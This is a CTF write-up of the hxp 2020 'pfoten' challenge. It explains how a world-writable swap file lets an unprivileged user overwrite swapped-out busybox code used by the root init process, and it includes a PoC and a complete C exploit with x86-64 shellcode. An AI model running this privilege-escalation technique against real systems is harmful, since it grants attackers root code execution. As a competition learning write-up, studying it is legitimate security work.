0x00 Overview

Last weekend I have played hxp 2020 as r3kapig. The challenges are very good. I have solved 3 challenges: Secure Program Config, still-printf and pfoten. Among these challenges, I think pfoten is quite worthy to do a full write-up. The challenge creates a file as swap space, so that some of the memory will be putted into this file when physical memory is not enough and will be then fetched from this file when being used again. The problem is this file is writable by any user. Therefore, when privileged memory like code of a root process is putted into this swap space, we can actually tamper it to our shellcode, so when it is executed again, we can execute arbitrary code in root privilege.

0x01 Vulnerability

Reading rcS file, we can see following code, which is related to the challenge.

dd if=/dev/zero bs=1M count=10 of=/swap status=none
# create a 10M file /swap with content zeros

losetup /dev/loop0 /swap
# https://linux.die.net/man/8/losetup
# set /swap as loop device /dev/loop0
# in order to use /swap as swap space

mkswap /dev/loop0 >/dev/null
swapon /dev/loop0 >/dev/null
# https://man7.org/linux/man-pages/man8/mkswap.8.html
# set /dev/loop0 as *swap space*
# so file /swap is *swap space* now

However, file /swap is writable by any user.

-rw-rw-rw-    1 0        0         10485760 Dec 21 08:10 swap

0x02 Proof of Concept

In order to prove my idea, I have written following PoC to see what will be putted into /swap file.

#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <sys/mman.h>

int main(int argc, char const *argv[])
	for (int i = 0; ; ++i)
		char* buffer = mmap(NULL, 1024*1024, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
		memset(buffer, 'A', 1024*1024);
		printf("%d\n", i);
		system("strings /swap");
	return 0;

After a few iterations, we can see many interesting outputs from strings command, and some of the strings come from the busybox binary, so my idea is confirmed: /swap will indeed be used to store virtual memory content at disk.

0x03 Exploitation

I have come up with several exploitation ideas:

  1. Store kernel heap memory into /swap, and rewrite cred structure to escalate privilege of our process.
  2. Store kernel code into /swap, and modify these code to privilege escalating shellcode, and call these code in our process. (e.g. some ioctl handler in kernel)
  3. Store code of init process (which is a root process) into /swap, and rewrite them to shellcode.

However, the data to be stored into /swap have to meet some requirements:

  1. It cannot be used when our exploit is running, because Linux only stores infrequently used memory into disk.
  2. It can be used after the content is tampered, otherwise modifying it cannot cause any effect.

Intuitively, kernel heap should be quite frequently-used, so I would guess that first idea might not work properly. I have not tried the second idea but the third one.

I have already seen busybox strings in PoC outputs, and that means we can already dump process memory of this ELF executable file into /swap. Note that all utilities like /init in this kernel image is linking to the /bin/busybox, and we also know that Linux will share read-only memory pages to same physical memory among all processes of same ELF file in order to save physical memory (e.i. r-x page of sh and init are shared). Thus, we can conclude we already have the ability to modify r-x page contents in init process. Therefore, I tried the third idea first and solved the challenge.

Then next question is what to write. The idea is to search binary sequences using memmem in /swap, and replace that sequences to our shellcode. Such sequences can be found by putting busybox binary into IDA.

Firstly, since init run commands in inittab and it should wait until sh exits, I may search and modify code around https://github.com/mirror/busybox/blob/master/init/init.c#L594 to modify the code that will be executed after sh exits. However, I failed to find such code in /swap. I guess maybe that page is used frequently when our exploit runs(?). Then I found a function where busybox call SYS_exit, with sequences 48 63 FF B8 E7 00 00 00 0F 05 BA 3C 00 00 00. I then modified the contents into 0x100 bytes of \xcc. This time kernel panic raises with message saying Code: cc cc cc ....

[   64.302748] RIP: 0033:0x4d12a7
[   64.303098] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc <cc>c
[   64.303680] RSP: 002b:00007ffe2c26b998 EFLAGS: 00000246

Nice! That means our shellcode is executed by init process! However, I admit this is quite accidental, because according to rip value shown in error message, it is the function after the SYS_exit function that is executed by init instead of the exit function in my original thought. After some trying, I found the first instruction being executed is 0x4d12a6, which suggests init is just returning from a syscall at 0x4d12a4 before executing the tampered code. Nonetheless, we can actually execute code in init process! Firstly I tried execve("/bin/sh", NULL, NULL), but that also causes panic in sh. I guess the reason is /bin/sh also links to /bin/busybox, which is already tampered by us. Thus secondly I tried to write shellcode that open and read /dev/fd0 (e.i. flag.txt), and write its content to stdout. This time it works locally! Although we may need to run it several times to find the binary sequences, probably because there is some probability for Linux to store that code into /swap.

... hxp{test}

0x04 Remote Environment

However, the exploit does not work properly remotely: it encounters EOF at around 400+ iterations. Initially I thought it is because when process is out-of-memory, whole kernel is killed instead of that one process, unlike local environment. But even if I munmap the pages, it still encounters EOF at around same number of iterations. And even if I decreases the size of mmap, it still encounters EOF at same iteration. This is weird. Finally I tried to increase the size of mmap to 0x100000, and this time I got the flag at last 2 minutes of the CTF.

Nonetheless, I still have no idea why such EOF occurs.

The final exploit is shown below:

#define _GNU_SOURCE
#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdbool.h>
#include <sys/mman.h>

#define SWAP_SIZE 0xa00000
// #define NEEDLE "\xE8\xD9\xFE\xFF\xFF\xF6\x43\x0C\x63"
// #define NEEDLE "\x48\xC7\x05\xBD\x00\x30\x00\x43"
const unsigned char NEEDLE[] = {0x48,0x63,0xFF,0xB8,0xE7,0x00,0x00,0x00,0x0F,0x05,0xBA,0x3C,0x00,0x00,0x00};
unsigned char swap[SWAP_SIZE];

void read_all(FILE* f)
	size_t already = 0;
	while (true)
		size_t res = fread(swap + already, 1, SWAP_SIZE - already, f);
		// printf("res=%lu\n", res);
		if (res == 0)
			assert(already == SWAP_SIZE);
		already += res;
#define BUFFERS_SIZE 0x80
#define PAGE_SIZE 0x100000

char* buffers[BUFFERS_SIZE] = {0};

int main(int argc, char const *argv[])
	size_t count = 0;
	for (int i = 0; i < 0x1000; ++i)
		if (count < BUFFERS_SIZE)
		{ // record into array
			buffers[count++] = buffer;
		{ // if full, clear array
			for (int j = 0; j < BUFFERS_SIZE; ++j)
				munmap(buffers[j], PAGE_SIZE);
			count = 0;
		memset(buffer, 0, PAGE_SIZE);
		if (i % 100 == 0)
			printf("%d\n", i);
		if (buffer == 0)
			return 0;
		FILE* f = fopen("/swap", "rb+");
		assert(f != NULL);
		unsigned char* res = memmem(swap, SWAP_SIZE, NEEDLE, sizeof(NEEDLE));
		if (res)
			size_t off = res - swap;
			fseek(f, off, SEEK_SET);
			// char sc[] = "H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2j;X\x0f\x05";
			// unsigned char sc[] = "j\x01\xfe\x0c$H\xb8/dev/fd0PH\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x00H\x89\xc71\xc01\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05";
			unsigned char sc[] = {0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x66, 0x64, 0x30, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x81, 0xec, 0x0, 0x1, 0x0, 0x0, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x1, 0x5f, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5};

			char buf[0x100];
			memset(buf, 0xcc, sizeof(buf));
			size_t sc_off = 0xa7 - 0x77;
			buf[sc_off - 1] = 0x90;
			for (size_t i = 0; i < sizeof(sc); ++i)
				buf[sc_off + i] = sc[i];
				assert(sc_off + i < 0x100);
			size_t res = fwrite(buf, 1, sizeof(buf), f);
			assert(res == sizeof(buf));
			return 0;
	return 0;